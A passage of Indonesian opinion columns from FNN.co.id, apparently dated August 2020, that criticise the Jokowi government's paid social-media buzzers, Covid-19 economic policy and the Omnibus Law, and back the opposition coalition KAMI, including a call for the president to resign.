berseberangan dengan kepentingan sang majikan. Tidak perduli peroslan yang kritik kelompok civil society itu benar atau salah. Yang penting memuji majikan yang bayar dan melawan metreka yang mengkritik majikan. Dalam melakukan tugasnya, mereka menyerang personal pihak yang dianggap kritis terhadap kekuasaan. Mereka tidak segan-segan menggunakan diksi norak, kotor, dan menjijikkan. Narasi mereka jauh dari substansi kritik yang disuarakan "lawan" penguasa. Perilaku rezim yang seperti ini menjadi bukti penguasa tidak peduli dengan beban dan kesulitan rakyat. Ketika sebagian besar rakyat pontang-panting berjuang memenuhi kebutuhan dasar hidup yang harganya makin tak terjangkau, penguasa seenaknya menggelontorkan dana amat besar untuk membyar influencer dan BuzzeRp. Lagi-lagi kerjanya memuji-muji yang membayar. Ada pengakuan dari seorang artis yang dibayar Rp. 5 juta hingga Rp.10 juta untuk setiap kali unggahannya dengan tagar #Indonesiabutuhkerja. Ternyata ini bagian dari kampanye RUU Omnibus Law Cipta Kerja yang biadab kepada rakyat tersebut. Padahal RUU Omnibus Law Cipta Kerja hanya untuk kepentingan oligarki, korporasi dan konglomerasi. Itu pula yang tampaknya terjadi pada Koalisi Aksi Menyelamatkan Indonesia (KAMI). Ada ancaman dan intimidasi di awal-awal pembentukan KAMI. Ancaman dan intimidasi terhadap para para deklarator dan rakyat di daerah yang hendak hadir di acara deklarasi. Selain itu, jagad medsos dijejali postingan dan meme yang menyudutkan serta memfitnah KAMI. Tentu saja, sebagai rakyat saya tidak rela uang pajak mereka hanya digunakan untuk membiayai rezim humas, dan rezim buzzer. Ada pertanggungjawaban atas penggunaan uang rakyat secara ilegal. Bukan hanya di dunia, tetapi juga di hingga akhirat. Penulis adalah Wartawan Senior FNN.co.id.

Terjebak Ilusi Terra Incognita

by Jusman Dalle Jakarta FNN – Jum’at (21/08). Kita cemas. Disergap situasi menegangkan. Menghadapi kondisi yang tak pernah terjadi sebelumnya. Terjebak dalam situasi terra incognita. Krisis kesehatan menjelma jadi krisis ekonomi. Bahkan berpotensi menjadi bola salju krisis politik. Bila tidak ditangani dengan cermat, tampaknya memang itu yang terjadi. Kekuatan politik ekstra parlementer terkonsolidasi. Elemen kritis dari corak yang heterogen berbaris dalam satu baris visi dan misi KAMI. Koalisi Aksi Menyelamatkan Indonesia (KAMI) yang baru-baru ini mendeklarasikan eksistensi. Dengan sigap, gerakan opisisi ini membuka daftar dosa pemerintah secara transparan. Deretan kesalahan yang berbungkus rapi dalam kemasan konstitusi. UU No 2 tahun 2020 misalnya, yang mempreteli fungsi anggaran DPR. Fungsi yang jadi puncak refleksi kedaulatan rakyat dalam mengelola uang pajaknya. Kedaulatan itu direnggut. Masih banyak daftar dosa pemerintah yang lain. Termasuk gagal mengendalikan Covid-19 yang muluk-muluk dijanjikan melandai pada bulan Juni. Yang terjadi malah sebaliknya. Rekor-rekor anyar tercatat. Rekor buruk yang menjerumuskan Indonesia ke kelompok negara yang gagal menangani pandemi. Indonesia bahkan nangkring di peringkat 3 dari terbuncit. Di antara 100 negara yang disigi oleh Deep Knowledge Group. Dalam penelitian bertajuk The 100 Safest Countries In The World For Covid-19. Sekelumit fakta itu mengingatkan kita pada pernyataan yang pernah dilontarkan oleh Direktur Jenderal WHO. Tedros Adhanom Gebreyesus bilang, bahwa ancaman terbesar kita adalah Covid-19. Apalagi kita berhadapan dengan kepemimpinan yang lemah. Sialnya, kepemimpinan yang lemah itu tersaji vulgar. Sengkarut problem yang membelit tak bisa disembunyikan. Apalagi sekadar dipoles citra dan pariwara. Mengerahkan buzzer rupiah untuk manipulasi opini. Masalah tidak bakal selesai hanya di situ. Malah tambah runyam. Pembekuan ekonomi dan pandemi ini dirasakan ke sumsum kehidupan masyarakat. Merata. Hingga ke pelosok daerah. Negara-negara tetangga sudah berjatuhan. Terperosok ke klub resesi. Thailand paling baru. Menyusul Singapura dan Filipina. Malaysia juga sudah mengalami resesi teknikal. Seperti nasib Indonesia. Kini, di bawah bayang-bayang resesi pemerintah mengerahkan energi. Berupaya menggenjot sektor konsumsi rumah tangga. Pembatasan sosial dolonggarkan. Aktivitas publik dibuka terbatas dengan tetap berpedoman pada protokol kesehatan. Terutama mal, pasar dan kegiatan perkantoran. Pertanyaannya, kenapa konsumsi menjadi penting? Lantaran, sektor inilah yang menjadi tumpuan ekonomi Indonesia. Konsumsi rumah tangga menyumbang 57,85% kue ekonomi nasional. Selebihnya terbagi ke investasi (30,6%), belanja pemerintah (8,67%), belanja lembaga non pemerintah (1,36%), serta ekspor dan impor (1,4%). Begitu konsumsi mandek, ekonomi anjlok. Itu pasti. Itulah yang terjadi pada kuartal II. Sepanjang April-Juni, ekonomi mengalami kontraksi -5,32%. Ekonomi tersungkur. Jatuh akibat pembatasan sosial berskala besar (PSBB) yang dicanangkan sejak pandemi Covid-19 mulai merebak. PSBB mengakibatkan aktivitas ekonomi membeku. Momentum puasa dan lebaran dilewatkan tanpa capaian mengesankan. Biasanya, di sinilah periode puncak konsumsi. Tahun ini momentum tersebut dilampaui dengan catatan jauh di bawah espektasi. Namun upaya pemerintah memacu sektor konsumsi rumah tangga, terbentur kenyataan krisis yang menggerogoti. Imunitas finansial masyarakat mulai ambruk. Roboh terinfeksi Covid-19. Maka dibuatlah berbagai program jaring pengaman sosial. Ada program keluarga harapan. Bantuan langsung tunai desa. Insentif Rp 600 ribu perbulan untuk pekerja swasta dan berbagai jenis bantuan lainnya. Untuk satu tujuan. Memompa konsumsi. Masuk Jebakan Jaring pengaman sosial itu memang sangat layak diapresiasi. Jika penerimaan negara dan APBN terkendali. Skema bansos jadi sekoci penyelamat daya beli. Redistribusi kekayaan. Persis konsep zakat dalam ajaran Islam. Dalam konteks bansos ini, melalui instrumen APBN. Persoalannya, saat ini pemerintah tidak punya uang. Terjepit di ruang fiskal yang sempit. Sehingga jurus klasik dikeluarkan. Menganggarkan bantuan sosial dengan sumber pendanaan dari utang. Akibatnya, rasio utang terhadap output perekonomian RI tahun 2020 melompat. Diperkirakan jadi sebesar 38% terhadap PDB. Sehingga pembiayaan pandemi Covid-19 dipastikan menimbulkan beban di masa depan. Masalah berikutnya, memacu konsumsi justru berakibat menciptakan efek semu pemulihan ekonomi. Ekonomi kelihatan bergerak. Tapi bermuara ke sektor industri dan konglomerasi. Karena pemicunya konsumsi. Dampaknya, upaya pemulihan ekonomi itu tidak konkret menyelesaikan problem mendasar di level masyarakat bawah. Ketimpangan terjadi. Problem kesenjangan ini bahkan diperkirakan bertambah dalam akibat pandemi. Perlu dicatat, Indonesia selalu masuk dalam daftar negara dengan tingkat ketimpangan yang parah. Data Credit Suisse tahun 2019, 1% konglomerat menguasai 45% kekayaan nasional. Data INDEF malah 75% pendapatan nasional terakumulasi ke 10% penduduk. Menggenjot konsumsi bakal semakin memperdalam jurang ketimpangan tersebut. Sebab energi konsumsi yang mengalir dari kantong jutaan rakyat, bermuara ke segelintir industrialis. Yang jumlahnya 1%-10% penduduk. Mereka yang mendominasi perekonomian dari hulu sampai hilir. Mereka menguasai mulai ari sektor perkebunan, perdagangan hingga fast moving consumer goods (FMCG). Produk konglomerasi ini yang menguasai rak-rak minimarket dan etalase di warung-warung pinggir jalan. Mulai dari odol, rokok, mie instan hingga sabun mandi. Konsumsi yang dipacu akhirnya menciptakan efek semu. Kita seolah menyaksikan orkestrasi ekonomi yang dipicu konsumsi. Tapi itu hanya ilusi. Gemuruh ekonomi yang semu. Deru akumulasi kapital terkonsentrasi kepada para oligarki ekonomi. Sementara pada saat yang sama, elit ekonomi itu, juga menikmati insentif seperti keringanan pajak dan berbagai jenis bantuan lain dari pemerintah. Idiom lawas, “yang kaya makin kaya yang miskin kian melarat” terbukti terjadi. Angus Deaton, peraih nobel ekonomi tahun 2015 sudah mewanti-wanti. Pandemi memperparah disparitas. Tanpa kehati-hatian, kebijakan pemerintah di berbagai belahan dunia memperkaya sekelompok kecil konglomerasi bisnis. Itu yang terjadi. Yang lebih parah, pemerintah ikut andil. Secara aktif dalam menciptakan situasi pelik. BUMN-BUMN diinjeksi dana jumbo. Agar bisa tetap eksis di tengah krisis. Termasuk dibiarkan berkompetisi dengan usaha-usaha rakyat. Sementara UMKM dan sektor riil dibiarkan bertaruh keberuntungan. Memang insentif dijanjikan. Serta berbagai jenis bantuan. Tapi melalui proses yang rumit. Insentif dan bantuan belum juga cair. Usaha yang menggerakkan sektor riil itu sudah menggelepar duluan. Bertekuk di hadapan Covid-19 yang diperparah sistem birokrasi dan data yang amburadul. Ini realitas yang memilukan. Indikasi jika negara ini memang salah kelola. Akhirnya, kita tidak bisa berharap banyak di balik agenda pengendalian Covid-19 dan pemulihan ekonomi. Semua energi pemulihan yang dikerahkan akan terbuang percuma. Karena memang tidak punya pijakan kuat. Rapuh dari atas dan kekuasaan. Sialnya, pemerintah tampak menganggap kebijakan-kebijakan itu sudah on the track. Padahal, bangsa tengah digiring terjebak fantasi. Tersesat di wilayah asing tak bertuan. Fatamorgana yang selamanya tak menyelesaikan masalah. Ilusi terra incognita. Penulis adalah Direktur Eksekutif Tali Foundation.

Berebutan Masuk "KAMI"

by Tony Rosyid Jakarta FNN – Jum’at (21/08). Gegara menulis tentang Koalisi Aksi Menyelamatkan Indonesia(KAMI), sejumlah orang inbox ke akun Facebook dan japri saya. Mereka bertanya, “bagaimana caranya mendirikan KAMI di daerah?” Tentu itu kewenangan para deklarator untuk menjawabnya. Ke depan, nampaknya presidium dan deklarator KAMI akan disibukkan dengan gelombang pendaftaran dari rakyat yang ingin bergabung di gerbong KAMI. Satu sisi, ini menunjukkan besarnya respon dan dukungan rakyat atas keberadaan dan kelahiran KAMI. Di sisi lain, ini akan menguji konsistensi KAMI sebagai gerakan moral politik. Meski gerakan moral tetap punya peluang untuk bermetamorfosis menjadi gerakan politik. Apalagi jika kondisi obyektif mendesaknya. Sebagai pengamat, saya ingin mengawalinya dengan satu pertanyaan, mengapa rakyat nampak antusias menyambut lahirnya KAMI? Resesi ekonomi, kekuasaan yang cenderung represif dan pengelolaan negara yang dicurigai banyak unsur manipulasi, membuat rakyat berada dalam waktu yang cukup lama resah. Mereka kecewa, lalu menemukan KAMI yang dianggap mampu menjadi lokomotif untuk menyuarakan kegelisahan mereka. Kegelisahaan yang lama terpendam. Kenapa bukan ke DPR? Bukankah DPR itu mewakili rakyat? Revisi UU KPK, diketuknya UU Minerba dan UU Corona, serta diajukannya RUU Omnibus Law dan RUU HIP/BPIP telah mengecewakan rakyat. DPR dianggap tak lagi bisa dijadikan sebagai saluran aspirasi rakyat. DPR tidak lagi mau mendengar rakyat. DPR hanya mau dengar kepentingan oligarki, korporasi dan konglomerasi. Tidak hanya kecewa kepada DPR, tetapi rakyat juga kecewa kepada pemerintah dan lembaga negara yang lain. Di tengah kekecewaan rakyat itu, lahirlah KAMI. Akibatnya, tumbuh antusiasme rakyat tinggu untuk menjadi bagian dari KAMI. Keinginan untuk menjadi anggota KAMI pun membludak. Ada sejumlah alasan mengapat rakyatmenaruh harapan kepada KAMI. Pertama, KAMI lahir tepat waktu. Di saat rakyat hidup susah akibat resesi ekonomi dan represi dari pernguasa. Rakyat butuh saluran aspirasi. Sementara ruang aspirasi yang tersedia sangat rumit dan sempit. Dalam keadaan seperti ini, kehadiran KAMI dianggap mewakili mereka. Kedua, adanya distrust (ketidakpercayaan) rakyat kepada pengelola negara yang tinggi. Rakyat sudah sampai pada kesimpulan bahwa pemerintah tak mampu memberi harapan kalau bangsa ini bisa keluar dari kompleksitas masalah. Terutama masalah ekonomi, hukum dan politik. Ketiga, analisis data, bahasa dan logika yang disampaikan oleh KAMI dalam maklumat dan sejumlah narasinya dinilai sebagai sesuatu hal yang faktual dan rasional. Sebab, rakyat merasakan apa yang dimaklumatkan oleh KAMI. Keempat, KAMI dideklarasikan oleh para tokoh lintas etnis, agama, ormas dan profesi. Mereka dipercara oleh rakya. Mereka memiliki, tidak saja kapasitas dan integritas, tetapi juga ketulusan dan tujuan yang baik untuk bangsa ini. Kehadiran para tokoh deklarator tersebut seolah menjadi jawaban atas ketidakperdayaan rakyat selama ini ketika berhadapan dengan penguasa. Kelima, bahwa reaksi berlebihan dan kontra-positif dari pihak-pihak yang merasa terganggu dengan lahirnya KAMI justru ikut menyebarkan informasi ke dan mengobarkan semangat perlawanan rakyat. Akibatnya rakyat berbondong-bondonga untuk menjadi bagian dari KAMI. Jika mau ditambahkan keenam, ada sebagian rakyat yang menganggap bahwa bangsa ini telah hamil tua. Maksudnya? Ada situasi matang yang berpotensi mendorong terjadinya perubahan. Namanya juga anggapan. Sah-sah saja. Tentu mereka punya alasan dan analisisnya sendiri. Sebanyak 150 tokoh yang mendeklarasikan KAMI pada tanggal 18 Agustus lalu itu, terdiri dari para aktifis lintas zaman. Mereka punya jejaring sosial, politik dan ekonomi yang memadai. Mulai dari tokoh ormas, ulama, TNI, para politisi, pengusaha, pers dan akademisi, semua ada di keanggotaan KAMI. Artinya, preferensi heterogen ini mewakili kegelisahan dan kekecewaan semua lapisan rakyat terhadap pengelola negara. Terutama pemerintah dan DPR. Rakyat ingin berjalan pada jalurnya sendiri. Karena mengganggap pemerintah dan DPR dianggap tidak lagi memimirkan rakyat. Pemerintah dan DPR habis waktu hanya untuk memikirkian gerombolan oligarki, korporasi dan konglomerasi. Jika KAMI terus konsisten dengan jati diri dan gerakan politik moralnya, maka dukungan rakyat akan menjadi air bah yang tak lagi bisa dianggap remeh oleh siapapun. Sikap dan respon kontra-produktif dari aliansi penguasa-parlemen justru akan menambah energi rakyat untuk memperkuat konsolidasi. Isu ekonomi (krisis) dan isu kebangkitan komunisme (RUU HIP/BPIP) saat ini berpotensi menyatukan dua kekuatan terbesar bangsa ini, yaitu rakyat dan TNI. Jika ini terjadi, maka sejarah tahun 1966 bisa terulang kembali. Ada situasi yang tak jauh berbeda. Meski pemerintah cenderung slow respon terhadap isu komunisme yang membuat semakin resah Mejelis Ulama Indonesia (MUI), NU, Muhammadiyah dan seluruh ormas Islam, tapi tak bisa diingkari bahwa pemerintah nampak panik ketika menghadapi resesi ekonomi. Kepanikan ekonomi tarbaca saat aliansi pemerintah-parlemen mendesak BI untuk mencetak uang Rp 600 triliun. Juga keterlibatan TNI-Polri di program pemulihan ekonomi. Ini layak jadi pertanyaan. Ada apa urusannya denggan TNI-Polri? Apakah ini sengaja disiapkan sebagai upaya antisipatif jika pemerintah gagal mengatasi krisis ekonomi? Gagal di saat rakyat di semua lapisan rakyat, terutama di daerah terkonsolidasi oleh KAMI? Allahu A'lam. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Sebaiknya Presiden Jokowi Mundur Saja (Bag. Pertama)

by Dr. Marwan Batubara Jakarta FNN – Jum’at (21/08). Pada Kamis 13 Agustus 2020 kami memandu acara penyampaian Risalah Kebangsaan Prof. Dr. M. Amien Rais di Restoran Pulau Dua, Senayan, Jakarta. Risalah Kebangsaan itu tertuang dalam buku berjudul “Risalah Enteng-Entengan”, Pilihan Buat Pak Jokowi “MUNDUR atau TERUS. Acara dihadiri sekitar seratus undangan meliputi tokoh-tokoh masyarakat, pimpinan ormas, aktivis, wakil mahasiswa, dan wartawan media cetak serta elektronik. Menilik kata “Enteng-entengan” pada judul, mungkin banyak yang menduga buku hanya berisi hal-hal ringan atau bahkan lucu. Ternyata, judul buku justru kontras dengan isinya. Selain data-data ilmiah dan informasi statistikal, buku juga memuat berbagai masalah faktual tentang berbagai aspek kehidupan bernegara yang diuraikan ke dalam 13 bab. Uraian ini sekaligus dapat menjadi rujukan bagi para aktivis untuk memahami serta menyikapi situasi dan kondisi yang dihadapi bangsa Indonesia akhir-akhir ini. Setelah panjang lebar mengungkap dan menganalisis berbagai masalah dalam 13 bab, Prof. Amien Rais atau biasanya kami panggil Pak Amien, menuliskan rekomendasi yang merupakan konsekwensi sangat logis atas analisis dan permasalahan. Tampaknya rekomendasi dibuat bukan saja atas pertimbangan analisis akademik, tetapi yang lebih penting adalah atas pertimbangan moral. Tanggungjawab moral dari sebagai penganut agama yang taat. Kami paham Pak Amien sangat galau melihat kondisi bangsa seperti tergambar dalam diskusi-diskusi kami bersama beliau dan sejumlah teman. Dalam setiap diskusi, Pak Amien tidak pernah luput merujuk ayat suci. Karena itu, perlu kembali ditegaskan bahwa rekomendasi Pak Amien merupakan wujud tanggungjawab moral, karena itulah yang diperintahkanlah oleh Sang Khaliq, Allah SWT, agar kita menyampaikan pesan untuk perbaikan sesuai perintah amar ma’ruf nahi munkar. Dengan buku Risalah Kebangsaan, Pak Amien sedang menjalankan gerakan moral untuk mencerdaskan rakyat, sekaligus mengingatkan para penyelenggara negara, terutama Pak Jokowi. Jika kami mengulang dan meretransmisikan rekomendasi Pak Amien dalam tulisan ini, terutama himbauan agar berkenan membaca seluruh isi Risalah Kebangsaan, maka kami nyatakan kami pun sedang melakukan gerakan moral dalam rangka menjalankan perintah amar ma’ruf nahi munkar. Apa yang dilakukan oleh Koalisi Masyarakat Menyelamatkan Indonesia (KAMI) pada 18 Agustus 2020 di Tugu Proklamasi, Jakarta, yang juga dihadiri oleh Pak Amien, adalah juga gerakan moral. Dimulai dengan uraian berbagai masalah bangsa. Masalah pada pada berbagai sektor kehidupan rakyat, sehingga KAMI sampai pada delapan tuntutan yang tampaknya dapat pula dikategorikan sebagai rekomendasi kepada penyelenggara negara, termasuk Pak Jokowi. Pak Amien dan KAMI telah membuka kepada publik, dan terutama ditujukan pada penguasa, tentang rekomendasi dan tuntutan masing-masing. Dua-duanya adalah gerakan moral yang dilakukan dalam konteks penyampaian peringatan guna kebaikan bersama. Keduanya adalah gerakan moral yang sinergis untuk keselamatan dan kemaslahatan bangsa. Kami mendukung dan sangat setuju dengan rekomendasi keduanya, baik dari Pak Amien maupun KAMI. Jika melihat lebih spesifik, sebagai bentuk keprihatinan dan tanggungjawab moral kepada Sang Khaliq, Pak Amien datang dengan rekomendasi konkrit dan to the point. Pak Amien meminta Pak Jokowi lengser dari jabatan sebagai Presiden Republik Indonesia secara sukarela. Sedangkan KAMI, berangkat dari keprihatinan yang sama dengan Pak Amien, lebih menyasar kepada multi subjek, yakni para penyelenggara negara, di mana Pak Jokowi termasuk di dalamnya. Pak Amien menjadikan kemunduran sistematik dan kegagalan konsisten dalam tiga belas aspek kehidupan sebagai alasan utama untuk mengajukan dua pilihan pada Pak Jokowi. Pilihan pertama, turun secara sukarela karena Pak Jokowi dianggap tidak punya kompetensi menjadi Presiden Indonesia di pergantian abad dan milenium dewasa ini. Pak Jokowi diminta mundur disertai permintaan maaf yang tulus kepada seluruh bangsa dan rakyat Indonesia, karena Pak Jokowi telah berusaha sesuai kemampuan, namun tidak berhasil. Pilihan kedua, Pak Jokowi dipersilakan terus memimpin pemerintahan asalkan bersedia banting stir kebijakan nasional yang mengarah kepada pembangunan nasional di segala bidang. Pembangunan yang benar-benar berasas Pancasila, UUD 1945, melanjutkan tradisi dan perjuangan serta pengorbanan para founding mothers dan founding fathers kita. Kedua pilihan di atas pantas direnungkan oleh siapapun, dan ditindaklanjuti oleh yang relevan. Permintaan mundur tersebut telah diungkap secara terbuka dan bertanggungjawab, sekaligus sebagai bentuk tanggungjawab agamis sesuai Pasal 28E ayat (2) dan Pasal 29 ayat (2) UUD 1945. Permintaan tersebut adalah bentuk kebebasan berpendapat yang bertanggungjawab oleh Pak Amien, yang dijamin Pasal 28E ayat (3) UUD 1945. Sebagai rakyat yang memperoleh jaminan HAM sesuai Pasal 28E ayat (2), Pasal 28E ayat (3) dan Pasal 29 ayat (2) UUD 1945, kami pun ingin menyatakan pendapat. Bahwa setelah membaca Risalah Kebangsaan berulang-ulang, dari kedua opsi yang diajukan Pak Amien, rekomendasi yang lebih tepat bagi kepala pemerintahan adalah “mundur secara sukarela”. Kalau setelah pesan moral ini disampaikan, pemerintahan tetap berlangsung seperti sediakala, kami hanya bisa pasrah dan menerima, karena itulah takdir Allah Yang Maha Kuasa. Kami bersyukur berkesempatan bergaul dan berdiskusi berbagai permasalahan dengan Pak Amien dalam waktu yang cukup lama. Kami juga bersyukur masih ada tokoh seperti Pak Amien yang rela tampil mengungkap pesan-pesan kemaslahatan bangsa di usianya yang ke 75 tahun. Dengan tulisan ini, kami mencoba untuk mengikuti langkah-langkah amar ma’ruf nahi munkar yang dilakukan Pak Amien. Kami sangat khawatir kalau rakyat yang “berkenan” menyatakan pendapat atau bahkan bersikap dalam hati, justru populasinya semakin minimalis. Kami pun resah jika para die-hards yang enggan bersikap objektif jumlahnya tidak berkurang. Pak Amien sudah menunjukkan sikap dan memberi contoh. Pak Amin sekaligus juga memberikan peringatan. Kami berharap, sikap Pak Amien dan Risalah Kebangsaan dapat memotivasi para pelaku amar ma’ruf nahi munkar untuk “berkenan” bergabung dalam barisan Pak Amien dan KAMI. Bersama-sama bersikap untuk menyelamatkan bangsa dari keterpurukan yang lebih para akibat salah kelola. Sebelum bergabung, untuk menambah bahan pertimbangan dan meyakinkan diri, bacalah buku Risalah Kebangsaan, Pak Jokowi: Mundur atau Terus Pak Amien secara lengkap. Khusus Bab yang berisi rekomendasi, yang dilampirkan secara utuh dalam tulisan ini. Pada paragraf terakhir Risalah Kebangsaan Pak Amien menulis, “saya hanya dapat menirukan pernyataan Nabi Syuaib Aalihi Salam, "tidak ada yang aku inginkan kecuali perbaikan sesuai kesanggupanku. Tidak ada pula keberhasilan kecuali datang dari Allah. KepadaNya-lah aku bertawakal dan kepadaNya pula aku akan kembali." (Qur'an Surat Hud:88). Akhirnya, kembali kepada pesan utama Risalah Kebangsaan, kami berharap Pak Jokowi berkenan untuk memilih salah satu dari dua plilihan yang direkomendasikan Pak Amien. Kami sendiri menganggap Pak Jokowi mungkin lebih tepat memilih opsi pertama. (bersambung) Penulis adalah Deklarator KAMI

KAMI Itu "Sting Like A Bee"

by M Rizal Fadillah Jakarta FNN – Jum’at (21/08). Koalisi Aksi Menyelamatkan Indonesia (KAMI) sudah dideklarasikan 18 Agustus 2020. Dipimpin Presidium Prof. Dr. Din Syamsuddin, Jenderal Purn TNI Gatot Nurmantyo dan Prof. DR. Rohmat Wahhab. Didukung oleh tokoh-tokoh nasional dan internasional. Kekuatan moral politik sudah terbentuk. Baru hadir beberapa hari, namun sudah mampu untuk menggoncangkan kekuasaan yang ada. Bagai tersengat, kepanikan pun terjadi dimana-mana. KAMI diserang sana sini secara tidak cerdas. Serangan datang bertubi-tubi dari buzzer bayaran rupiah. Padahal KAMI baru saja menyatakan diri sebagai gerakan moral politik. Aneh juga, sebab ada ketakutan politik yang berlebihan. Duta Besar Palestina yang hadir untuk ikut upacara peringatan HUT Kemerdekaan Republik Indonesia habis "diteror" habis-habisan oleh politisi yang gusar. Teror yang sekaligus untuk cari muka kdepada penguasa. Media buzzer bayaran rupiah diduga dikerahkan oleh taunnya. Mereka membuat meme yang bernada provokatif. Meme yang bernada memojokkan KAMI, entah atas suruhan istana atau baru tahap proposal proyek. Yang jelas ada pihak-pihak yang kebakaran jenggot. Berhimpunnya orang-orang yang memiliki pengaruh dan berjuang dengan sandaran moral menjadi sebuah terapi kejut. Maklumat kritis yang dibacakan, mungkin saja dinilai "menggigit", meskipun sebenarnya baru sebatas sengatan lebah saja "sting like a bee". Baru sengatan tahap awal. Tentu saja ke depan masih ada sengatan-sengatan berikutnya yang lebih keras dan mengejutkan. Yang membuat penyelenggara negara terkaget-kaget dan terkejut-kejutan.Tujuan dari penyengatan adalah pengobatan agar sehat atau pulih kembali. Supaya tata kelola negara berjelana sesuai amanat tujuan bernegara yang tertuang di dalam konstitusi UUD 1945. Deklarator tak ada niat "membunuh" dengan hanya sengatan lebah. Justru hal ini sebagai upaya untuk penyelamatan. Menolong orang yang dizalimi dan menolong orang yang zalim. Menolong yang zalim, tentu dengan cara menghentikan kezaliman, agar tidak lagi meleuas dampak dan pembuatan zalim. Demikian ungkapan Prof. Din Syamsuddin dalam Deklarasi yang lalu. Agama memuji lebah. Qur'an menyatakan lebah menerima wahyu (QS An Nahl 68). Sebuah hadits menyebut bahwa lebah itu makan yang baik, mengeluarkan yang baik, hinggap di ranting, tidak membuat patah dan rusak (HR Ahmad). Inputnya bagus, dan outputnya baik. Ketika lebah menyengat, maka semangatnya adalah altruisme. Lebah akan mati dengan sendirinya setelah menyengat. Lebah menjadi martir demi penyelamatan kehidupan bersama. Begitulah pelajaran penting dari lebah untuk kehidupan manusia seperti dijelaskan oleh Al-Qur’an dan Al-Hadits. Mohammad Ali petinju yang digelari "sting like a bee" memiliki pukulan-pukulan yang menyengat. Jab dan hook yang efektif. Membuat sadar bahwa lawan sebenarnya pecundang. Pertahanan "rope a dope" telah membuat juara bertahan George Foreman merasa lelah dan sulit untuk menjatuhkan Ali. Akhirnya Muhammad Ali memenangkan pertandingan dengan Knock Out. Maklumat KAMI seperti sengatan lebah. Serangan balik yang membabi buta terjadi, baik itu kepada personal deklarator maupun terhadap substansi tuntutan yang dilakukan. KAMI cukup cerdas untuk tidak melayani argumen sampah dan "bullying" kepanikan. Menjalankan terus agenda yang dicanangkan sebagai fokus dari gerakan. Menerapkan taktik "rope a dope" cukup efektif menghadapi serangan yang tak bermutu. Serangan yang hanya mengkonfirmasi kepanikan kubu penguasa. Padahal masalahnya sangat sederhana. Laksanakan tata kelola negara sesuai dengan perintah tujuan atau haluan bernegara yang tertuang dalam alinea ke empat pembukaan UUD 1945. Namun kalau tidak bisa juga, tentu saja dengan berbagai alasan, maka mengundurkan diri mudur tentu saja lebih terhormat. Lebih bermartabat sebagai negarawan. KAMI yang oleh penulis nyinyir disindir sebagai "superheroes" akan mampu menjadi "superheroes" yang sebenarnya jika jati dirinya sebagai gerakan moral tetap solid dan bersemangat. Kaum cendikia yang tergabung di dalamnya merupakan pasukan dari kekuatan moral dari koalisi tersebut. Menghadapi pertarungan yang tidak dapat dihindarkan, maka optimalisasi potensi mesti dilakukan. Belajar dari Muhammad Ali, KAMI akan sukses menunaikan misi jika bekerja dengan pola "float like a butterfly, sting like a bee", dan menerapkan pertahanan kokoh "rope a dope". Tetapi seperti keyakinan Ali, yang meski kerap menyebut dirinya dalam rangka psywar "the greatest", tetap saja menanamkan dan mengumandangkan "Allahu Akbar". Allah yang Besar dan Maha Penolong. KAMI tidak ada apa-apa tanpa pertolongan Allah. Inilah yang membuatnya membesar dan menguat. Pertolongan Allah juga yang membuat KAMI akan memenangkan pertarungan antara kebenaran melawan gerombolan kezaliman, dan oligarkhi. Yang demokrasi dan kejujuran melawan kecurangan dan kepalsuan yang penuh dengan pencitraan semata. KAMI tidak takut terhadap provokasi dan adu domba. KAMI tetap menyengat seperti lebah dalam rangka menyelamatkan."Sting like a bee". Penulis adalah Pemerhati Politik dan Kebangsaan.

Desentralisasi Pemulihan Ekonomi

by Andi Rahmat Jakarta FNN – Kamis (20/08). Persoalan perekonomian kita bukan lagi soal apakah ekonomi kita sudah mengalami resesi atau belum mengalami resesi. Faktanya, perekonomian Indonesia dalam dua quartal berturut-turut mengalami kontraksi yang berat. Perekonomian tumbuh negatif. Komponen utama pembentuk PDB mengalami tekanan hebat. Konsumsi Rumah Tangga, Pembentukan Modal Tetap Bruto (PMTB), harga yang deflatoir, dan deretan indikator makro lainnya semua menunjukkan situasi “ darurat” perekonomian itu. Namun Indonesia tidak sendiri dalam menghadapi situasi ini. Hampir semua negara mengalami tekanan ekonomi yang hebat. Dari kelompok G20, hanya china yang tumbuh positif di quartal kedua, sebesar 3,2%. Perekonomian Indonesia juga terpapar pula resiko “ menyendiri” dalam menghadapi persoalan ini. Sistem moneter kita mungkin relatif kuat karena adanya mekanisme “ tolong-menolong” antar bank sentral, baik dalam bentuk Bilateral Swap Arrangement (BSW) maupun Repo Line Arrangement (RLA), yang melapisi daya tahan Bank Indonesia. Tetapi sistem fiskal kita terlihat rentan. Kondisi ini karena makin sempitnya ruang manuver fiskal yang diperlukan dalam mengungkit perekonomian. Ditambah lagi, dengan tidak mudah untuk memperoleh “bantuan“ internasional. Baik dari institusi maupun swasta global yang juga tengah disibukkan dengan pemburukan ekonomi di berbagai negara. Tulisan ini tidak bertujuan mendiskusikan soal tekanan pembiayaan pada Fiskal kita. Fokus tulisan ini adalah pada upaya untuk mengoptimalkan seefektif mungkin sumber daya Fiskal untuk mengungkit perekonomian. Apalagi dalam situasi dimana waktu yang terbatas, dan kerumitan birokrasi bisa menumpulkan efektivitas kebijakan Fiskal. Juga memperkuat desentralisasi dalam pemulihan ekonomi merupakan pilihan terbaik. Semestinya ini dijadikan opsi utama kebijakan pemulihan ekonomi. Desentralisasi dalam pemulihan ekonomi berimplikasi pada dua makna. Yang pertama, melibatkan semaksimal mungkin pemerintahan daerah dalam pemulihan ekonomi. Yang kedua, menanggalkan asumsi bahwa sentralisasi kebijakan pemulihan ekonomi akan membuat pemulihan ekonomi menjadi lebih cepat, efisien dan sederhana. Kalau kita melihat kembali statisik pertumbuhan ekonomi, sejak otonomi daerah mulai diberlakukan, yang didalamnya juga termasuk konsepsi perimbangan keuangan pusat dan daerah (baca desentralisasi fiskal), maka kita akan menemukan geliat pertumbuhan ekonomi lokal dalam dua dekade terakhir. Bahkan, dibeberapa wilayah, pertumbuhan ekonominya bisa lebih tinggi dari rata-rata nasional. Demikian juga dengan gairah perekonomian lokal. Desentralisasi terbukti merangsang local creative dalam mendorong aktivitas perekonomian. Dalam dua dekade terakhir, banyak sekali pelaku usaha lokal yang kemudian tumbuh dan berkembang menjadi pemain kuat nasional. Sekurang-kurangnya, menjadi local champion di daerah mereka masing-masing. Desentralisasi merupakan pasangan serasi bagi lanskap perekonomian Indonesia saat ini. Meminjam istilah John Naisbitt, desentralisasi merupakan cerminan dari paradoks global, makin terintegrasi perekonomian, makin kuat pula peran dari unit-unit terkecilnya. Itulah yang tercermin pada makin besarnya sumbangsih perekonomian daerah dalam membentuk wajah Produk Domestik Bruto (PDB). 